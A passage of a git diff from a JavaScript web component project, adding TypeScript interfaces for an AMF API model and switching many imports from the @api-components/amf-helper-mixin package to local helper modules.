+  extension: ApiDataNodeUnion;
+}
+
+export type ScalarDataTypes = 'string' | 'base64Binary' | 'boolean' | 'date' | 'dateTime' | 'double' | 'float' | 'integer' | 'long' | 'number' | 'time';
+
+export interface ApiSummary extends ApiDomainProperty {
+  name?: string;
+  description?: string;
+  // identifier?: string; <- not sure what this is.
+  schemes: string[];
+  accepts: string[];
+  contentType: string[];
+  version?: string;
+  termsOfService?: string;
+  provider?: ApiOrganization;
+  license?: ApiLicense;
+  documentations: ApiDocumentation[];
+  tags: ApiTag[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiBase extends ApiSummary {
+  endPoints: ApiEndPoint[];
+  servers: ApiServer[];
+  security: ApiSecurityRequirement[];
+}
+
+export interface ApiWeb extends ApiBase {}
+export interface ApiAsync extends ApiBase {}
+
+export interface ApiOrganization extends ApiDomainProperty {
+  url?: string;
+  name?: string;
+  email?: string;
+}
+
+export interface ApiLicense extends ApiDomainProperty {
+  url?: string;
+  name?: string;
+}
+
+export interface ApiEndPoint extends ApiDomainProperty {
+  description?: string;
+  name?: string;
+  summary?: string;
+  path: string;
+  operations: ApiOperation[];
+  parameters: ApiParameter[];
+  payloads: ApiPayload[];
+  servers: ApiServer[];
+  security: ApiSecurityRequirement[];
+  sourceMaps?: ApiDocumentSourceMaps;
+  extends: ApiParametrizedDeclaration[];
+}
+
+export interface ApiOperation extends ApiDomainProperty {
+  method: string;
+  name?: string;
+  description?: string;
+  summary?: string;
+  deprecated: boolean;
+  schemes?: string[];
+  accepts?: string[];
+  contentType?: string[];
+  operationId?: string;
+  documentation?: ApiDocumentation;
+  request?: ApiRequest;
+  responses: ApiResponse[];
+  security: ApiSecurityRequirement[];
+  callbacks: ApiCallback[];
+  servers: ApiServer[];
+  tags: ApiTag[];
+  sourceMaps?: ApiDocumentSourceMaps;
+  extends: ApiParametrizedTrait[];
+}
+
+export interface ApiTag extends ApiDomainProperty {
+  name: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiServer extends ApiDomainProperty {
+  url: string;
+  description?: string;
+  variables: ApiParameter[];
+  sourceMaps?: ApiDocumentSourceMaps;
+  protocol?: string;
+  protocolVersion?: string;
+  security?: ApiSecurityRequirement[];
+}
+
+export interface ApiParameter extends ApiDomainProperty {
+  name?: string;
+  paramName?: string;
+  description?: string;
+  required?: boolean;
+  deprecated?: boolean;
+  allowEmptyValue?: boolean;
+  style?: string;
+  explode?: boolean;
+  allowReserved?: boolean;
+  binding?: string;
+  schema?: ApiShapeUnion;
+  payloads: ApiPayload[];
+  examples: ApiExample[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiExample extends ApiDomainProperty {
+  name?: string;
+  displayName?: string;
+  description?: string;
+  value?: string;
+  structuredValue?: ApiDataNodeUnion;
+  strict: boolean;
+  mediaType?: string;
+  location?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiPayload extends ApiDomainProperty {
+  name?: string;
+  mediaType?: string;
+  schema?: ApiShapeUnion;
+  examples: ApiExample[];
+  // encoding: ApiEncoding[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiResponse extends ApiDomainProperty {
+  name?: string;
+  description?: string;
+  statusCode?: string;
+  headers: ApiParameter[];
+  payloads: ApiPayload[];
+  examples: ApiExample[];
+  links: ApiTemplatedLink[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiTemplatedLink extends ApiDomainProperty {
+  name?: string;
+  description?: string;
+  template?: string;
+  operationId?: string;
+  requestBody?: string;
+  mapping: ApiIriTemplateMapping[];
+  server?: ApiServer;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiIriTemplateMapping extends ApiDomainProperty {
+  templateVariable?: string;
+  linkExpression?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityRequirement extends ApiDomainProperty {
+  name?: string;
+  schemes: ApiParametrizedSecurityScheme[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiParametrizedSecurityScheme extends ApiDomainProperty {
+  name?: string;
+  settings?: ApiSecuritySettingsUnion;
+  scheme?: ApiSecurityScheme;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityScheme extends ApiDomainProperty {
+  name?: string;
+  type?: string;
+  displayName?: string;
+  description?: string;
+  settings?: ApiSecuritySettingsUnion;
+  headers: ApiParameter[];
+  queryParameters: ApiParameter[];
+  responses: ApiResponse[];
+  queryString?: ApiShapeUnion;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+
+export interface ApiSecuritySettings extends ApiDomainProperty {
+  additionalProperties?: ApiDataNodeUnion;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityOAuth1Settings extends ApiSecuritySettings {
+  requestTokenUri?: string;
+  authorizationUri?: string;
+  tokenCredentialsUri?: string;
+  signatures: string[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityOAuth2Settings extends ApiSecuritySettings {
+  authorizationGrants: string[];
+  flows: ApiSecurityOAuth2Flow[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityApiKeySettings extends ApiSecuritySettings {
+  name?: string;
+  in?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityHttpSettings extends ApiSecuritySettings {
+  scheme?: string;
+  bearerFormat?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityOpenIdConnectSettings extends ApiSecuritySettings {
+  url?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export type ApiSecuritySettingsUnion = ApiSecuritySettings | ApiSecurityOAuth1Settings | ApiSecurityOAuth2Settings | ApiSecurityApiKeySettings | ApiSecurityHttpSettings | ApiSecurityOpenIdConnectSettings;
+
+export interface ApiSecurityOAuth2Flow extends ApiDomainProperty {
+  authorizationUri?: string;
+  accessTokenUri?: string;
+  flow?: string;
+  refreshUri?: string;
+  scopes: ApiSecurityScope[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiSecurityScope extends ApiDomainProperty {
+  name?: string;
+  description?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiRequest extends ApiDomainProperty {
+  description?: string;
+  required?: boolean;
+  queryParameters: ApiParameter[];
+  headers: ApiParameter[];
+  payloads: ApiPayload[];
+  queryString?: ApiShapeUnion;
+  uriParameters: ApiParameter[];
+  cookieParameters: ApiParameter[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiCallback extends ApiDomainProperty {
+  name?: string;
+  expression?: string;
+  endpoint?: ApiEndPoint;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+/**
+ * The definition of the domain extension
+ */
+export interface ApiCustomDomainExtension extends ApiDomainProperty {
+  name?: string;
+  displayName?: string;
+  description?: string;
+  domain: string[];
+  schema?: ApiShapeUnion;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+/**
+ * Applies to an object domain extension
+ */
+export interface ApiDomainExtension extends ApiDomainProperty {
+  name?: string;
+  definedBy?: ApiCustomDomainExtension;
+  extension?: ApiDataNodeUnion;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiDocumentation extends ApiDomainProperty {
+  url?: string;
+  description?: string;
+  title?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export type ApiShapeUnion = ApiScalarShape | ApiNodeShape | ApiUnionShape | ApiFileShape | ApiSchemaShape | ApiAnyShape | ApiArrayShape | ApiTupleShape | ApiRecursiveShape;
+
+export interface ApiShape extends ApiDomainProperty {
+  values: ApiDataNodeUnion[];
+  inherits: ApiShapeUnion[];
+  or: ApiShapeUnion[];
+  and: ApiShapeUnion[];
+  xone: ApiShapeUnion[];
+  name?: string;
+  displayName?: string;
+  description?: string;
+  defaultValueStr?: string;
+  defaultValue?: ApiDataNodeUnion;
+  deprecated?: boolean;
+  readOnly?: boolean;
+  writeOnly?: boolean;
+  not?: ApiShapeUnion;
+  /**
+   * A label that appeared on a link.
+   */
+  linkLabel?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiPropertyShape extends ApiShape {
+  path?: string;
+  range?: ApiShapeUnion;
+  minCount?: number;
+  maxCount?: number;
+  patternName?: string;
+}
+
+export interface ApiAnyShape extends ApiShape {
+  documentation?: ApiDocumentation;
+  xmlSerialization: ApiXMLSerializer;
+  examples: ApiExample[];
+}
+
+export interface ApiNodeShape extends ApiAnyShape {
+  minProperties?: number;
+  maxProperties?: number;
+  closed?: boolean;
+  customShapeProperties: string[];
+  customShapePropertyDefinitions: string[];
+  discriminator?: string;
+  discriminatorValue?: string;
+  properties: ApiPropertyShape[];
+  dependencies: string[];
+}
+
+export interface ApiXMLSerializer extends ApiDomainProperty {
+  attribute?: boolean;
+  wrapped?: boolean;
+  name?: string;
+  namespace?: string;
+  prefix?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiScalarShape extends ApiAnyShape {
+  dataType?: string;
+  pattern?: string;
+  minLength?: number;
+  maxLength?: number;
+  minimum?: number;
+  maximum?: number;
+  exclusiveMinimum?: boolean;
+  exclusiveMaximum?: boolean;
+  format?: string;
+  multipleOf?: number;
+}
+
+export interface ApiFileShape extends ApiAnyShape {
+  fileTypes?: string[];
+  pattern?: string;
+  minLength?: number;
+  maxLength?: number;
+  minimum?: number;
+  maximum?: number;
+  exclusiveMinimum?: boolean;
+  exclusiveMaximum?: boolean;
+  format?: string;
+  multipleOf?: number;
+}
+
+export interface ApiSchemaShape extends ApiAnyShape {
+  mediaType?: string;
+  raw?: string;
+}
+
+export interface ApiUnionShape extends ApiAnyShape {
+  anyOf: ApiShapeUnion[];
+}
+
+export interface ApiDataArrangeShape extends ApiAnyShape {
+  minItems?: number;
+  maxItems?: number;
+  uniqueItems?: boolean;
+}
+
+export interface ApiArrayShape extends ApiDataArrangeShape {
+  items?: ApiShapeUnion;
+}
+
+export interface ApiTupleShape extends ApiDataArrangeShape {
+  items: ApiShapeUnion[];
+  additionalItems?: boolean;
+}
+
+export interface ApiRecursiveShape extends ApiShape {
+  fixPoint: string;
+}
+
+export interface ApiDataNode extends ApiDomainProperty {
+  name?: string;
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiObjectNode extends ApiDataNode {
+  properties: { [key: string]: ApiDataNodeUnion };
+}
+
+export interface ApiScalarNode extends ApiDataNode {
+  value?: string;
+  dataType?: string;
+}
+
+export interface ApiArrayNode extends ApiDataNode {
+  members: ApiDataNodeUnion[];
+}
+
+export type ApiDataNodeUnion = ApiDataNode | ApiObjectNode | ApiScalarNode | ApiArrayNode;
+
+export interface ApiEncoding {
+  propertyName?: string;
+  contentType?: string;
+  style?: string;
+  explode?: boolean;
+  allowReserved?: boolean;
+  headers: ApiParameter[];
+  sourceMaps?: ApiDocumentSourceMaps;
+}
+
+export interface ApiDocumentSourceMaps {
+  synthesizedField?: ApiSynthesizedField[];
+  lexical?: ApiSynthesizedField[];
+  trackedElement?: ApiSynthesizedField;
+  autoGeneratedName?: ApiSynthesizedField[];
+  parsedJsonSchema?: ApiSynthesizedField;
+  declaredElement?: ApiSynthesizedField;
+}
+
+export interface ApiSynthesizedField {
+  id: string;
+  element?: string;
+  value: string;
+}
+
+export interface ApiParametrizedDeclaration extends ApiDomainProperty {
+  name?: string;
+  target?: ApiAbstractDeclaration;
+  variables: ApiVariableValue[];
+}
+
+export interface ApiVariableValue extends ApiDomainProperty {
+  name: string;
+  value?: ApiDataNode;
+}
+
+export interface ApiAbstractDeclaration extends ApiDomainProperty {
+  name: string;
+  description?: string;
+  dataNode?: ApiDataNode;
+  variables: string[];
+}
+
+export interface ApiParametrizedTrait extends ApiParametrizedDeclaration {}
+export interface ApiParametrizedResourceType extends ApiParametrizedDeclaration {}
+
+export interface ShapeProcessingOptions {
+  /**
+   * This is set when serializing a shape / parameter.
+   * It is used to determine which example of the schema to include.
+   * 
+   * When an example has the `tracked-element` in the source maps then this
+   * is used to determine the only examples included to the schema.
+   * 
+   * Note, the value of the tracked-element can be a list of IDs separated by coma.
+   */
+  trackedId?: string;
+}
diff --git a/src/lib/AmfInputParser.js b/src/lib/AmfInputParser.js
index b52c31f..63bd3ef 100644
--- a/src/lib/AmfInputParser.js
+++ b/src/lib/AmfInputParser.js
@@ -1,19 +1,19 @@
 /* eslint-disable no-continue */
 /* eslint-disable no-param-reassign */
 /* eslint-disable class-methods-use-this */
-import { ns } from '@api-components/amf-helper-mixin';
 import { ApiSchemaValues } from '@api-components/api-schema';
+import { ns } from '../helpers/Namespace.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiFileShape} ApiFileShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSchemaShape} ApiSchemaShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../helpers/api').ApiFileShape} ApiFileShape */
+/** @typedef {import('../helpers/api').ApiSchemaShape} ApiSchemaShape */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
 /** @typedef {import('@anypoint-web-components/anypoint-input').SupportedInputTypes} SupportedInputTypes */
 
 
diff --git a/src/lib/AmfParameterMixin.d.ts b/src/lib/AmfParameterMixin.d.ts
index 14b728a..4cace9b 100644
--- a/src/lib/AmfParameterMixin.d.ts
+++ b/src/lib/AmfParameterMixin.d.ts
@@ -7,7 +7,7 @@ import {
   ApiShapeUnion, 
   ApiTupleShape, 
   ApiUnionShape,
-} from '@api-components/amf-helper-mixin';
+} from '../helpers/api';
 import { TemplateResult } from 'lit-element';
 import { OperationParameter, ShapeTemplateOptions, ParameterRenderOptions } from '../types';
 
diff --git a/src/lib/AmfParameterMixin.js b/src/lib/AmfParameterMixin.js
index edd8d5c..1191d71 100644
--- a/src/lib/AmfParameterMixin.js
+++ b/src/lib/AmfParameterMixin.js
@@ -4,7 +4,6 @@
 // eslint-disable-next-line no-unused-vars
 import { html } from 'lit-element';
 import { dedupeMixin } from '@open-wc/dedupe-mixin';
-import { ns } from '@api-components/amf-helper-mixin';
 import { ApiSchemaValues } from '@api-components/api-schema';
 import '@anypoint-web-components/anypoint-dropdown-menu/anypoint-dropdown-menu.js';
 import '@anypoint-web-components/anypoint-listbox/anypoint-listbox.js';
@@ -17,18 +16,19 @@ import '@anypoint-web-components/anypoint-switch/anypoint-switch.js';
 import '@advanced-rest-client/arc-icons/arc-icon.js';
 import { ifDefined } from 'lit-html/directives/if-defined.js'
 import { classMap } from 'lit-html/directives/class-map.js';
+import { ns } from '../helpers/Namespace.js';
 import * as InputCache from './InputCache.js';
 import { readLabelValue } from './Utils.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
 /** @typedef {import('@anypoint-web-components/anypoint-listbox').AnypointListbox} AnypointListbox */
 /** @typedef {import('@anypoint-web-components/anypoint-input').SupportedInputTypes} SupportedInputTypes */
 /** @typedef {import('@anypoint-web-components/anypoint-checkbox').AnypointCheckbox} AnypointCheckbox */
diff --git a/src/lib/Oauth2RamlCustomData.js b/src/lib/Oauth2RamlCustomData.js
index 4f4cdd7..fccce9a 100644
--- a/src/lib/Oauth2RamlCustomData.js
+++ b/src/lib/Oauth2RamlCustomData.js
@@ -1,14 +1,14 @@
 /* eslint-disable class-methods-use-this */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiDataNodeUnion} ApiDataNodeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarNode} ApiScalarNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiObjectNode} ApiObjectNode */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShape} ApiShape */
+/** @typedef {import('../helpers/api').ApiDataNodeUnion} ApiDataNodeUnion */
+/** @typedef {import('../helpers/api').ApiScalarNode} ApiScalarNode */
+/** @typedef {import('../helpers/api').ApiObjectNode} ApiObjectNode */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiShape} ApiShape */
 
-import { ns } from '@api-components/amf-helper-mixin';
+import { ns } from '../helpers/Namespace.js';
 
 /**
  * Computes a data model for custom definition for the OAuth 2 scheme
diff --git a/src/lib/PayloadUtils.js b/src/lib/PayloadUtils.js
index fb25092..1b650b8 100644
--- a/src/lib/PayloadUtils.js
+++ b/src/lib/PayloadUtils.js
@@ -1,8 +1,8 @@
 import { ApiExampleGenerator, ApiMonacoSchemaGenerator, ApiSchemaGenerator } from '@api-components/api-schema';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPayload} ApiPayload */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiPayload} ApiPayload */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
 /** @typedef {import('@advanced-rest-client/arc-types').ApiTypes.ApiType} ApiType */
 
 /** 
diff --git a/src/lib/QueryParameterProcessor.js b/src/lib/QueryParameterProcessor.js
index 41687c3..eb48d10 100644
--- a/src/lib/QueryParameterProcessor.js
+++ b/src/lib/QueryParameterProcessor.js
@@ -1,13 +1,13 @@
 /* eslint-disable class-methods-use-this */
-import { ns } from '@api-components/amf-helper-mixin';
+import { ns } from '../helpers/Namespace.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiPropertyShape} ApiPropertyShape */
 /** @typedef {import('../types').OperationParameter} OperationParameter */
 
 /**
diff --git a/src/lib/SecurityProcessor.js b/src/lib/SecurityProcessor.js
index 7df3a0a..3c73230 100644
--- a/src/lib/SecurityProcessor.js
+++ b/src/lib/SecurityProcessor.js
@@ -15,7 +15,7 @@ import {
   METHOD_API_KEY,
 } from '../elements/ApiAuthorizationMethodElement.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('../helpers/api').ApiSecurityRequirement} ApiSecurityRequirement */
 /** @typedef {import('@advanced-rest-client/arc-types').ArcRequest.RequestAuthorization} RequestAuthorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.BasicAuthorization} BasicAuthorization */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.OAuth2Authorization} OAuth2Authorization */
diff --git a/src/lib/UrlUtils.js b/src/lib/UrlUtils.js
index 862f2ea..831612d 100644
--- a/src/lib/UrlUtils.js
+++ b/src/lib/UrlUtils.js
@@ -1,8 +1,8 @@
 /* eslint-disable prefer-destructuring */
 /* eslint-disable no-param-reassign */
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiEndPoint} ApiEndPoint */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
+/** @typedef {import('../helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
 /** @typedef {import('../types').ComputeBaseUriOptions} ComputeBaseUriOptions */
 
 /**
diff --git a/src/lib/Utils.js b/src/lib/Utils.js
index f230797..5c4c7a0 100644
--- a/src/lib/Utils.js
+++ b/src/lib/Utils.js
@@ -1,18 +1,18 @@
-import { ns } from '@api-components/amf-helper-mixin';
 import { HeadersParser } from '@advanced-rest-client/arc-headers';
 import sanitizer from 'dompurify';
+import { ns } from '../helpers/Namespace.js';
 
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiScalarShape} ApiScalarShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiArrayShape} ApiArrayShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiTupleShape} ApiTupleShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiUnionShape} ApiUnionShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiAnyShape} ApiAnyShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiServer} ApiServer */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedDeclaration} ApiParametrizedDeclaration */
+/** @typedef {import('../helpers/api').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../helpers/api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('../helpers/api').ApiArrayShape} ApiArrayShape */
+/** @typedef {import('../helpers/api').ApiTupleShape} ApiTupleShape */
+/** @typedef {import('../helpers/api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../helpers/api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../helpers/api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../helpers/api').ApiParametrizedDeclaration} ApiParametrizedDeclaration */
 /** @typedef {import('../types').OperationParameter} OperationParameter */
 
 /**
diff --git a/src/lib/auth-ui/ApiKeyAuth.js b/src/lib/auth-ui/ApiKeyAuth.js
index cf6a206..9fa4640 100644
--- a/src/lib/auth-ui/ApiKeyAuth.js
+++ b/src/lib/auth-ui/ApiKeyAuth.js
@@ -1,11 +1,11 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-html';
-import { ns } from '@api-components/amf-helper-mixin';
+import { ns } from '../../helpers/Namespace.js';
 import ApiUiBase from './ApiUiBase.js';
 import * as InputCache from '../InputCache.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
+/** @typedef {import('../../helpers/api').ApiSecurityApiKeySettings} ApiSecurityApiKeySettings */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.ApiKeyAuthorization} ApiKeyAuthorization */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
diff --git a/src/lib/auth-ui/ApiUiBase.js b/src/lib/auth-ui/ApiUiBase.js
index 4aa2ee8..a430e84 100644
--- a/src/lib/auth-ui/ApiUiBase.js
+++ b/src/lib/auth-ui/ApiUiBase.js
@@ -12,8 +12,8 @@ import '@advanced-rest-client/arc-icons/arc-icon.js';
 import { AmfParameterMixin } from '../AmfParameterMixin.js';
 
 /** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../helpers/api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
 
 const securityValue = Symbol("securityValue");
 const apiValue = Symbol("apiValue");
diff --git a/src/lib/auth-ui/CustomAuth.js b/src/lib/auth-ui/CustomAuth.js
index 762e11d..666f26a 100644
--- a/src/lib/auth-ui/CustomAuth.js
+++ b/src/lib/auth-ui/CustomAuth.js
@@ -1,18 +1,18 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-html';
-import { ns } from '@api-components/amf-helper-mixin';
 import '@advanced-rest-client/highlight/arc-marked.js';
+import { ns } from '../../helpers/Namespace.js';
 import ApiUiBase from './ApiUiBase.js';
 import * as InputCache from '../InputCache.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
 /** @typedef {import('@advanced-rest-client/authorization').AuthUiInit} AuthUiInit */
-/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */
-/** @typedef {import('@api-components/amf-helper-mixin').ParametrizedSecurityScheme} ParametrizedSecurityScheme */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiNodeShape} ApiNodeShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiPropertyShape} ApiPropertyShape */
-/** @typedef {import('@api-components/amf-helper-mixin').ApiShapeUnion} ApiShapeUnion */
+/** @typedef {import('../../helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../helpers/amf').ParametrizedSecurityScheme} ParametrizedSecurityScheme */
+/** @typedef {import('../../helpers/api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('../../helpers/api').ApiParameter} ApiParameter */
+/** @typedef {import('../../helpers/api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('../../helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('@advanced-rest-client/arc-types').Authorization.RamlCustomAuthorization} RamlCustomAuthorization */
 /** @typedef {import('../../types').OperationParameter} OperationParameter */
 
diff --git a/src/lib/auth-ui/OAuth1Auth.js b/src/lib/auth-ui/OAuth1Auth.js
index e23f818..f1f5b17 100644
--- a/src/lib/auth-ui/OAuth1Auth.js
+++ b/src/lib/auth-ui/OAuth1Auth.js
@@ -1,15 +1,15 @@
 /* eslint-disable no-param-reassign */
 /* eslint-disable no-plusplus */
 /* eslint-disable class-methods-use-this */
-import { ns } from '@api-components/amf-helper-mixin';
 import Oauth1, { defaultSignatureMethods } from '@advanced-rest-client/authorization/src/lib/ui/OAuth1.js';
+import { ns } from '../../helpers/Namespace.js';
 
 const securityValue = Symbol("securityValue");
 const apiValue = Symbol("apiValue");
 
